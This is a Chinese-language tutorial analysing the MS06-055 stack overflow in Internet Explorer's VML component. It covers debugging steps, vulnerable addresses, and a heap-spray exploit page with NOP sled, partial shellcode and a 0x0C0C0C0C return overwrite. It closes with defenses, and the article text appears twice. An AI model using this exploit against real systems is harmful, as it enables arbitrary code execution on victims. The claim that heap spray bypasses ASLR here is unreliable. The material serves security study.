分析MS06-055 IE 栈溢出漏洞
字数 1333 2025-08-27 12:33:30

MS06-055 IE 栈溢出漏洞分析与利用

漏洞概述

MS06-055是Internet Explorer在解析VML(Vector Markup Language)标记语言时存在的一个基于栈的缓冲区溢出漏洞。该漏洞存在于IE的核心组件vgx.dll中,具体漏洞函数为SHADETYPE_TEXT::TEXT(ushort const *, int),该函数在处理VML标记时未对字符串长度进行限制,导致栈溢出。

漏洞触发原理

漏洞触发流程:

  1. IE解析包含VML标记的HTML文档
  2. 处理<v:fill method="..."/>标签时调用vgx.dll中的漏洞函数
  3. SHADETYPE_TEXT::TEXT函数将method属性值复制到栈缓冲区时未检查长度
  4. 超长字符串覆盖栈上的关键数据,包括返回地址

分析环境准备

  • 操作系统:Windows 2000 SP4
  • IE版本:5.00.3700.1000
  • Vgx.dll版本:5.0.3014.1003
  • 分析工具:
    • OllyDbg (OD) - 动态调试
    • IDA Pro - 静态分析

VML标记语言简介

VML(矢量标记语言)是IE 5.0+支持的HTML扩展,用于在网页中绘制矢量图形。基本语法:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="black">
<v:fill method="QQQQ"/>
</v:rect>
</body>
</html>

关键元素:

  • v:rect - 绘制矩形
  • style - 定义尺寸等属性
  • v:fill - 定义填充方式,其中method属性是漏洞触发点

漏洞分析过程

静态分析

  1. 使用IDA加载vgx.dll,定位漏洞函数SHADETYPE_TEXT::TEXT(地址:0x659D7B46)
  2. 分析发现函数内部调用0x659D7AEA进行字符串复制操作
  3. 复制操作前未对源字符串长度进行检查

动态调试

  1. 使用OD附加IE进程
  2. 在0x659D7B46处设置断点
  3. 加载包含VML的HTML文档触发断点
  4. 单步执行观察:
    • 执行到0x659D7B86处的Call 659D7AEA时,method属性值被复制到栈中
    • 使用超长字符串(如200个"Q")可覆盖栈上数据
    • 函数返回地址被覆盖导致控制流劫持

关键代码片段

659D7B46  push ebp
659D7B47  mov ebp, esp
...
659D7B86  call 659D7AEA    ; 漏洞点 - 未检查长度的字符串复制

漏洞利用技术

Heap Spray技术

利用步骤:

  1. 使用JavaScript申请200块1MB大小的内存
  2. 每块内存填充大量NOP指令(0x90)和shellcode
  3. 覆盖内存地址0x0C0C0C0C
  4. 用大量0x0C字节覆盖返回地址为0x0C0C0C0C
  5. EIP滑过NOP后执行shellcode

Exploit代码结构

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
<script language="javascript">
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91...";
var nop="\u9090\u9090";
while (nop.length<= 0x100000/2) { nop+=nop; }
var slide = new Array();
for (var i=0; i<200; i++) { slide[i] = nop + shellcode; }
</script>
<body>
<v:rect style="width:444pt;height:444pt" fillcolor="black">
<v:fill method="ఌఌఌఌ...ఌఌఌఌ"/> <!-- 大量0x0C字符 -->
</v:rect>
</body>
</html>

Shellcode执行流程

  1. 返回地址被覆盖为0x0C0C0C0C
  2. EIP跳转到堆内存
  3. 执行NOP滑板指令
  4. 最终执行shellcode弹出对话框

防御措施

  1. 及时安装微软安全补丁MS06-055
  2. 禁用VML支持(设置IE安全级别)
  3. 使用DEP等内存保护技术
  4. 启用ASLR随机化内存布局

总结

MS06-055漏洞展示了经典栈溢出漏洞的完整生命周期:

  1. 漏洞成因:未检查长度的字符串复制
  2. 利用方法:Heap Spray技术绕过ASLR
  3. 攻击效果:任意代码执行
  4. 防御思路:输入验证+内存保护

该漏洞分析过程涵盖了静态分析、动态调试、漏洞利用和防御等多个方面,是学习浏览器漏洞分析的典型案例。

MS06-055 IE 栈溢出漏洞分析与利用 漏洞概述 MS06-055是Internet Explorer在解析VML(Vector Markup Language)标记语言时存在的一个基于栈的缓冲区溢出漏洞。该漏洞存在于IE的核心组件vgx.dll中,具体漏洞函数为 SHADETYPE_TEXT::TEXT(ushort const *, int) ,该函数在处理VML标记时未对字符串长度进行限制,导致栈溢出。 漏洞触发原理 漏洞触发流程: IE解析包含VML标记的HTML文档 处理 <v:fill method="..."/> 标签时调用vgx.dll中的漏洞函数 SHADETYPE_TEXT::TEXT 函数将method属性值复制到栈缓冲区时未检查长度 超长字符串覆盖栈上的关键数据,包括返回地址 分析环境准备 操作系统:Windows 2000 SP4 IE版本:5.00.3700.1000 Vgx.dll版本:5.0.3014.1003 分析工具: OllyDbg (OD) - 动态调试 IDA Pro - 静态分析 VML标记语言简介 VML(矢量标记语言)是IE 5.0+支持的HTML扩展,用于在网页中绘制矢量图形。基本语法: 关键元素: v:rect - 绘制矩形 style - 定义尺寸等属性 v:fill - 定义填充方式,其中 method 属性是漏洞触发点 漏洞分析过程 静态分析 使用IDA加载vgx.dll,定位漏洞函数 SHADETYPE_TEXT::TEXT (地址:0x659D7B46) 分析发现函数内部调用 0x659D7AEA 进行字符串复制操作 复制操作前未对源字符串长度进行检查 动态调试 使用OD附加IE进程 在0x659D7B46处设置断点 加载包含VML的HTML文档触发断点 单步执行观察: 执行到0x659D7B86处的 Call 659D7AEA 时,method属性值被复制到栈中 使用超长字符串(如200个"Q")可覆盖栈上数据 函数返回地址被覆盖导致控制流劫持 关键代码片段 漏洞利用技术 Heap Spray技术 利用步骤: 使用JavaScript申请200块1MB大小的内存 每块内存填充大量NOP指令(0x90)和shellcode 覆盖内存地址0x0C0C0C0C 用大量0x0C字节覆盖返回地址为0x0C0C0C0C EIP滑过NOP后执行shellcode Exploit代码结构 Shellcode执行流程 返回地址被覆盖为0x0C0C0C0C EIP跳转到堆内存 执行NOP滑板指令 最终执行shellcode弹出对话框 防御措施 及时安装微软安全补丁MS06-055 禁用VML支持(设置IE安全级别) 使用DEP等内存保护技术 启用ASLR随机化内存布局 总结 MS06-055漏洞展示了经典栈溢出漏洞的完整生命周期: 漏洞成因:未检查长度的字符串复制 利用方法:Heap Spray技术绕过ASLR 攻击效果:任意代码执行 防御思路:输入验证+内存保护 该漏洞分析过程涵盖了静态分析、动态调试、漏洞利用和防御等多个方面,是学习浏览器漏洞分析的典型案例。